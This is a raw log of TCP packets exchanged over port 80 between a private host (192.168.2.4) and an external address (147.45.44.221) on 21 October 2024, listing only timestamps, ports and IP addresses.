Oct 21, 2024 08:47:22.733045101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.733061075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.733084917 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.733092070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.733102083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.733171940 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.733187914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.733211994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.820106030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.820173979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.820177078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.820209980 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.820221901 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.820252895 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.842566967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.842602015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.842637062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.842663050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.842694044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850436926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850543022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850604057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850645065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850682020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850706100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850733042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850735903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850779057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850784063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850819111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850825071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850863934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850866079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850909948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850919008 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.850961924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.850967884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851001978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851011038 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851043940 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851051092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851090908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851103067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851146936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851152897 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851178885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851188898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851212025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851216078 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851250887 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851264000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851294041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851301908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851345062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851357937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851409912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851412058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851442099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851454020 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851475954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851490021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851510048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851536036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851560116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851562023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851592064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851627111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851634979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851661921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851674080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851706028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851713896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851743937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851775885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851785898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851821899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851825953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851871014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851874113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851907015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851921082 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851938963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851948023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.851972103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.851984978 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852005959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852030993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852054119 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852061987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852092981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852102041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852127075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852134943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852160931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852171898 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852194071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852217913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852226019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852236032 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852258921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852282047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852292061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852299929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852324009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852330923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852354050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852370024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852386951 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852395058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852421045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852430105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852453947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852462053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852488041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852494001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852520943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852525949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852555990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.852565050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.852601051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.894705057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.894771099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.894779921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.894820929 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.939522982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.939572096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.939599037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.939604998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.939614058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.939645052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.961982012 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.962017059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.962049961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.962059021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.962081909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.962085962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.962085962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.962119102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.971539974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.971594095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.971702099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.971736908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.971745968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.971772909 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.971837044 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.971874952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972048998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972089052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972099066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972136021 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972233057 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972266912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972271919 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972304106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972383022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972414970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972419024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972449064 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972450018 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972482920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972486973 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972516060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972518921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972553968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972728968 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972759962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972765923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972793102 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.972798109 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.972830057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.973069906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.973113060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.973236084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.973268032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.973278999 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.973308086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974097013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974153996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974256039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974287987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974296093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974324942 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974577904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974610090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974615097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974643946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974649906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974683046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974751949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974783897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974795103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974822998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.974908113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.974951029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975480080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975507975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975528955 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975541115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975548029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975574970 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975581884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975615025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975631952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975723028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975732088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975773096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975784063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975817919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975825071 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975850105 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975867987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975882053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975888014 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975914001 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975919962 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975946903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975950956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.975979090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.975987911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976011038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976016045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976046085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976052046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976078987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976084948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976110935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976118088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976144075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976150036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976176023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976185083 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976208925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976212025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976241112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976248980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976275921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976290941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976322889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976330042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976356030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976362944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976389885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976398945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976423025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:22.976428986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:22.976460934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.057478905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.057512045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.057569027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.057569027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.061541080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.061572075 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.061594963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.061604023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.061609030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.061636925 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.061645985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.061671972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.084448099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.084481955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.084512949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.084516048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.084528923 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.084554911 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092492104 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092525959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092545986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092566967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092644930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092679977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092694044 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092711926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092721939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092746973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092752934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092778921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092786074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092820883 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092833042 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092864990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092886925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092899084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092911959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092941046 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.092948914 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.092982054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093009949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093043089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093045950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093079090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093089104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093122005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093173027 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093206882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093218088 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093240023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093250036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093285084 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093291998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093321085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093333960 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093353987 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093362093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093389034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093394041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093420029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093427896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093453884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093461990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093482971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093516111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093550920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093554974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093592882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093631029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093662977 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093673944 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093698025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093700886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093729973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093734980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093770981 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093780041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093812943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093822002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093844891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093853951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093879938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093909979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093916893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:23.093960047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093992949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:23.093997002 CEST	49732	80	192.168.2.4	147.45.44.221
